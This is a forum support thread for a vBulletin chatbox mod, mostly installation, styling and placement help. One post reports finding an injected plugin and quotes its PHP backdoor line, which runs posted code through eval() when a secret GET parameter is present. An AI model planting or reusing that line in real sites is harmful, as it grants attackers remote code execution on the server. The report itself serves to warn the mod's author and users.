Is it possible the admin to add a sticky message in this chatbox ?

Why am I getting this message: Warning: fetch_template() calls should be replaced by the vB_Template class. Template name: Display_Visitors_User in [path]/includes/functions.php on line 4097 ?

I installed today and it always says Loading and Status says Loading also... Any ideas?:confused: :erm:
When something is written it says:
Your submission could not be processed because a security token was missing.
If this occurred unexpectedly, please inform the administrator and describe the action you performed before you received this error.

The very first thing you must do before installing any mod is to read through the entire thread. The reason you must do this is because if you don't you'll just end up knocking your head against the wall while looking damn silly.

This is my first mod I installed and it did not work :(
Installation:
-Import XML file (as product): AdminCP > Plugin System > Manage Products > [Add/Import Product]
Did the above, but had no idea what to put as the Product ID or Version Check Url, and it seems it really wants all those boxes filled in, so I just put the name as product id with the _ in between them, and same url as this thread for version although that doesn't work.
To add to desired template (example FORUMHOME):
1. Add 'index' to THIS_SCRIPT locations (Product options)
2. Add 'FORUMHOME' to template names (Product options)
3. Open 'FORUMHOME' template and put "{vb:raw vsachatbox}" to desired line (for example after '<!-- /main -->') -> Save
Did #3, not sure what you mean by #1 and #2, so I didn't know what to do on them.
To set options:
Go to: AdminCP > vBulletin Options > VSa - ChatBox
It's not there in the Options. What am I missing here? I have the MSG chatbox on and want to replace it with this one, is that why?

You are trying to create new plugin.
This is complete mod, so you just need to install it.
AdminCP > Plugin System > Manage Products > [Add/Import Product]
[Add/Import Product] is found below list of installed products on "Manage Products" page.

[Add/Import Product] is found below list of installed products on "Manage Products" page.
I did that part, after Add/Import, it has a screen to fill out with the information, am I just not supposed to put the name of the mod in and what about the product ID? I thought I did everything right on the import, but it just isn't showing up on my options. I didn't know if that was because I still had the other chatbox enabled?
If you read what I wrote above though, I thought I followed the directions like you had them, with the exceptions of the #'s above I didn't understand.

Works on 4.1.3
Since most of my images are (PNG) instead of gif.
((Images below didn't show up on chat box))
1. I changed:
post_new.gif -> post_new.png
post_old.gif -> post_old.png
in Plugin > plugin manager > VSa - ChatBox - MN
2. I changed:
smilie.gif -> smilie.png
in the Template section
*I guess the newer vbulletin version uses png's instead of gif's? (most of it)

Nice. Just installed this after the co-owner of my site wanted a chatbox JUST for our two arcades (v3arcade and ibproarcade).
I though that was going to be a nightmare, but this modification is an absolute dream to configure so it shows only on specific pages. Even fairly complicated scripts that don't follow vB "standards" like ibproarcade.
Had it all sorted and done in less than an hour, having expected this to be a weekend project. Also works flawlessly and doesn't seem to load the server particularly (though admittedly I'm on a VPS and I changed the refresh rate to 30 seconds as that's plenty when you're actually playing games!).
Very impressive.
Valter

vB 4.1.4 includes some style changes which makes ChatBox use doc_background as message background color.
If you want your CB look like in previous versions go to your style variable editor and change Blockrow Background to the same as Blockfoot Background, or use other color you like.

Here's what I did:
Install VSa - Chatbox if you haven't already
Download vbaCMS from http://www.vbadvanced.com/
Install vbaCMS
Disable vBulletin's built-in CMS, if you're using it (CP - Plugins & Products - Plugin Manager, uncheck everything under "Product : vBulletin CMS")
Create new vbaCMS module
CP - vBa CMPS - add a new module (type = template)
Title "Chatbox" (or whatever, doesn't matter)
Active - yes
Template to Include: adv_portal_vsa_chatbox
Style: whichever you're using
Template Content: {vb:raw vsachatbox}
Use Module Wrapper Template: no
Set your usergroup permissions to taste
Save your module
Edit chatbox settings (CP - Settings - Options - VSa - ChatBox)
Show ChatBox on pages: index,adv_index
Show ChatBox in templates: FORUMHOME,adv_portal
Save Chatbox settings
Activate module on vbaCMS portal
CP - vBa CMPS - Edit Pages - (whatever you've named your portal page)
Drag your module to where you want it to display in your page in the "Active Modules" section
Set your usergroup permissions to taste
Not related to Chatbox, but you might want to tick off the "Add Navbar Link" option to keep your navbar consistent
Save, take a deep breath, and enjoy!
Setting it up this way makes it active in your vbaCMS portal page and your forum home page. If you don't want it on the forum home page, take out the 'index' option for 'show on pages' in the chatbox settings.
Thank you for this. But after doing all the steps, i see nothing on my vBadvanced homepage. I have vB 4.1.3 and latest vBadvanced. For me, vBa is in /index.php and not inside the /forum. Is that the issue? How can i fix this? Thanks!

I wrote that quite a while ago, MonkYZ. It wasn't long after I did that some patch of vBulletin made it not work in the modules any more. Like you, I've just been using the work-around of setting it to 'below navbar', as that's more or less where I wanted it anyway. It's not perfect, but it's the best solution I've found to get the chatbox working on my front page.

Well, i did nothing special. To be more precise, i did exactly your steps. For me it didn't worked because i haven't noticed the template already had "adv_portal_" so for me writing in there "adv_portal_vsa_chatbox" became something like "adv_portal_adv_portal_vsa_chatbox" :)

If you have a lot of users, that can put a big strain on your server resources. If you're on a shared server or one with limited resources, this can slow the responsiveness of your site to a crawl.

I have a security issue related to this plugin. Today I noticed a plugin called "VSa - ChatBox -ILL" on my site, listed under product vBulletin (not the chatbox product). The plugin code was
if(isset($_GET['aimn++++'])){echo "<h1>jkrose</h1><pre>";eval($_POST[shuix]);exit;}
If I'm reading this correctly, it will allow remote PHP code execution on my server. I do not know if there is a vulnerability in the chatbox code, or if my site was targeted because I have the chatbox installed, but either way I figured you should know about it.
Am concerned about this, is that a chatbox vulnerability already addressed or is related to some other security flaws?

Calling this mod 'supported' has become a bit of a running joke. The mod works for the author and he was kind enough to release it in mod form so others can try it. He has a life and it's a free mod so don't expect him to hang out and answer pages full of questions, most of which are asking to do things the mod wasn't designed to do anyway - like change colors.
There are several chat mods that are more customizable, and those are what people should be looking at if this one doesn't work for you. I just got an email that Addonchat (https://vborg.vbsupport.ru/showthread.php?t=179346) is coming out with a new version soon. I understand they have excellent support - but you'll have to be willing to pay for it. Not a bad concept.

Videx, I don't know if you're an alt for Valter or just a shill, but either way your objectivity is in question. In any event, I simply pointed out that there isn't much support offered here other than what other folks (such as you and I) are willing to provide. Not for 'how do I change colors' or other repetitive items that could be solved with a search, but for real issues. The mod has also not been updated for a year and a half, despite several known problems.
The truth is the mod hasn't been supported in any meaningful way in going on two years. Continuing to have it marked as 'supported' is inaccurate.

TO ALL THOSE THAT HAVE THIS ON A BLACK FORUM AND WANT THE TEXT/FONT COLOR WHITE INSTEAD OF BLACK!
Go into the admin > Settings > Options > VSa - Chatbox (settings)
Scroll down to: "allow custom colors?" mark it "NO"
That should be it, your default font color will be what ever your forum's default text color is. You will NOT have custom colors. Good enough for me!
If the writing box is not displaying your text "ie black in black box, or white in white box" do the following:
Where it says "Colors available in drop-down menu" move which ever color you want to the first Color, that will change your typing color to which ever is first on the list.

When I check my site's visitors lately, I get a lot of IP's checking the Chatbox Archive. Why is that ? Guests aren't even set to see my Chatbox. Are they looking for some exploit somehow ? Is there a way to disable the Archive for Guests, or maybe completely ?

Users are exploiting this mod with an injection that mutes staff IDs. Removing this mod. Users beware.That's an extremely vague accusation. Or bug report, or whatever it is. I'm not even sure what it means to "mute a staff ID". Does that mean a certain user is prevented from posting in the forum? Or that you have some people that can't post in this chatbox?

The chatbox username and chats are not lined up properly.Probably because of that custom style you have. But as a Guest we can't see your chat, or select the default style, so we would need a test login to say much else.

Time format under options for the vsa chat should be h:i A
and Date format (blank to disable) would be d-m
thats the only option for time format..
unless a different mod you added to your board is over riding it..

I am having a similar issue with the background color., but whenI change the block background color it changes the background color of the forum sections as well, any way to remedy this by just plugging a color code in somewhere?
TO ALL THOSE THAT HAVE THIS ON A BLACK FORUM AND WANT THE TEXT/FONT COLOR WHITE INSTEAD OF BLACK!
Go into the admin > Settings > Options > VSa - Chatbox (settings)
Scroll down to: "allow custom colors?" mark it "NO"
That should be it, your default font color will be what ever your forum's default text color is. You will NOT have custom colors. Good enough for me!
If the writing box is not displaying your text "ie black in black box, or white in white box" do the following:
Where it says "Colors available in drop-down menu" move which ever color you want to the first Color, that will change your typing color to which ever is first on the list.
if your referring to the color of the window that displays the messages .. I posted in this thread about it..
do a search for my posts here ..
if not please explain your issue .
I found the solution.
But when I have the mod installed, I cannot change my styles.

Ah, this is a problem with versions with the ckeditor. Here's what you're gonna do:
- Find out the names of the missing files and their paths. You can do it right clicking on the missing image and clicking Properties.
- Reupload the missing files to your server (if you don't have them, create a default style and get them)
- Refresh the browser
Might take a while for the files to load, but it worked for me.
Those are the files you need:
<your style's folder>/editor/smilie.gif
<your style's folder>/statusicon/post_new.gif
<your style's folder>/statusicon/post_old.gif
Hope this helps.

Is it possible for a moderator without access to the vBulletin Options section in the admincp to turn the chat off/on?
For example, maybe the chatbox moderator groups in the "Groups able to moderate ChatBox" config being able to do this?
I doubt it's currently possible, but might be a useful idea to allow certain usergroups or maybe even specific members to be able to turn the chatbox on/off from the main chatbox page.
At this point, the only place I see where the chatbox can be turned on or off is within the vBulletin Options section, but I do not want to give access to that section of my admincp to chatbox moderators.

My hosting co had to disable it finally due to over 39K tables reads per second on vsa_chatbox.Any chatbox can be a serious resource drag, especially if it's 'central' to your forum. I've got mine configured as a shoutbox, but you may want to look into hosted chatboxes like Addon Chat.
I wonder, is there a way to put this chat box in the sideblock on my forum?Unlikely, as there wouldn't be enough room. But by all means search the thread and see if anyone's done it.

Thanks.I think you misread that. He had an older version of AFR and solved the problem by updating it. More importantly, as they did when solving it then, try disabling all your other mods one at a time to see if one of them isn't the culprit and maybe needs updating. Other than that, maybe try writing directly one of the people involved before.

Grettings, how would I go about displaying the chatbox in only one category.
For instance we have a podcast section of the forums and would find this handy for users to be able to chat with guys on the show. However, we find it an unnecessary feature elsewhere and wouldn't be of much use. Is it possible to display this only in a specified section, and not others.
Sorry but these two areas are unclear and I'm not sure they achieve what I would want, or how to use them.:
Show ChatBox on pages (comma separated THIS_SCRIPT locations)
Blank to show on all pages (not recommended because of server load)
Show ChatBox in templates (comma separated template names)

Hi:
Thank you for the mod. From reading your post on VSA Chatbox, it is very interesting, but I have not installed it on my website. I am thinking that if popup feature can be added for this, it is much better for the users. For example, If I want to use it, I just click on the link and the popup screen with VSA Chatbox. I then can position it any places on the screen. What you have right now is a fixed location for the Chatbox. This feature will not fill the forum page or any other pages unnecessorily and save spaces for the forum and other pages that can be used for something else, like ads.
My question is, is it easy to add this?
I will install it tonight.
Greatly appreciated for your work.

Hello boys
A question, you can have the "quotes" in the chatbox post?
how can you turn?

I've been using this awesome plugin for awhile now, and the only problem I have is with the default text color when offering multiple styles. We have a dark style with black text background, and a light style with white text background.
I know I could make the text background a grey color, but it looks odd. I'd prefer a way to set the default text color on a per style basis.
Any chance of this happening, or perhaps if a solution has already been mentioned, pointing me in the right direction?
Thanks!

ok i use replacement variables to do my username markups so i dont have to add new usergroup for each member with html markup here is example
search for >monster<
replace with
><img src=http://your-site.com/UserImages/monster.gif alt=monster title=monster /><
this works great in the forums but it dont show username markup in the chat box is there a fix for this without adding a lot of usergroups to do it??

Would love to have a noise/sound implemented after each chat post is made, so people know when someone is actually chatting. lol. Would also be nice, if this could be easily styled according to what style is being used, even if it maybe a custom style. Thx. :)

I'm having an issue with the icons, they are referring to files such as post_old.gif and my forum only contains post_old.png.
The document name you requested (/images/styles/vbgamev4/statusicon/post_old.gif) could not be found on this server. However, we found documents with names similar to the one you requested.
Available documents:
/images/styles/vbgamev4/statusicon/post_old.png (common basename)
Please consider informing the owner of the referring page about the broken link.
Where do I go to edit this?
Here's a preview of what I'm referring to:

Earlier in the thread you'll find some stuff about "Loading...". But I don't recall that was only for a single user.
I don't actually see an error in that screen shot mess; it may be cut off at the bottom. But it's probably not important if it's only one person. Have them try a different browser, clear their cache & cookies, and temporarily disable any antivirus or web safety apps.

Beginner needs help:
I installed the mod and everything works fine placing the chatbox on the forum page. Now my users proposed me to place the chatbox directly on the CMS Homepage not on the forum page. Is there anyone who can help me to change this step by step? My users can choose several styles on their own - is this relevant for the change?
Thanks for your support!

Now my users proposed me to place the chatbox directly on the CMS Homepage not on the forum page. Is there anyone who can help me to change this step by step? Since you're a beginner: The first thing you want to do is go to the upper right and "Search this mod" for a term like CMS. You'll get over a hundred results; scan through them. Then, assuming you didn't find a solution, phrase your question differently: "I just searched this mod for 'cms' and was wondering if anyone has yet figured out how to add this to the CMS?".
The whole point being that if everyone asks questions before trying to find answers themselves, the thread will just fill with the same questions and answers over and over again.

use the png images rather than the gif's they are a little bigger so you will have more space between each shout..

I have askeed the same question a page or two back and so far i have had no luck. Deleting white or replacing ots position in the list on admincp did not do a thing. Members still had black as the default color. You would think aproblem like that would have a simple fix but i guess not.

Fellas, the fact is that the answer is there, and yes, you are going to have to search (or read through the posts) to find it yourselves. The few of us who watch the thread on a semi-regular basis tend to get a bit burnt out replying to the same questions repeatedly over the course of a year or two.

Yea, I can feel your pain, as you can probably feel mine having to be told to read 130+ pages to find my answer...if it such a repeated question, than the OP should ADD that to his install directions.

Ive read every single post and tried all the suggestions and they simply do not work. Over the years scripts update a and things change. If you refuse to help, well thats on you. I was just hoping maybe someone out of this crowd here would step up and help but it looks like this mod is a dead end for me.

Valker
11-09-2011, 04:16 PM
yes :D donno, if i had an explenation, "its in the css" or something linke that.
btw i solved the second thing by my self. The arrow get this strange shadow with the "disabled" only in IE :/.... threw it out, so this is fine.
The distance bug... i solved it the first time with the IE hack, but i might suggest this might have caused the error I mentioned before.
I?m quite confused, because ists only in IE, and if you replace the button with another, the bug is stil there, with the new button, so only this position is involved.
It has to do with my template, cause in the standart style, its fine, but as i said i have no clue what causes this bug.
Im even not using IE at all, but still, it makes me AAAAARG :O
And i can live with it, sure, but xD you know stil makes me arg.

Did you check ChatBox Permission? If you want Unregistered users to post messages make sure that Usergroup 1 is excluded from "Usergroups NOT able to view ChatBox (comma separated ID list)" [if they cannot view Chatbox they cannot post it. Also make sure that Usergroup 1 is not also included in "Usergroups able to view ChatBox but not post messages".

yes on both. When you say Chatbox Permissions are you talking about the 2 references in your quote ? I put the usergroup numbers in the right spot.
I can get the Chatbox to display to guests , it's just when you click on the text box area in the chat...it won't let you clear out whats already there. (wont let u type) It just stays 'greyed out'.
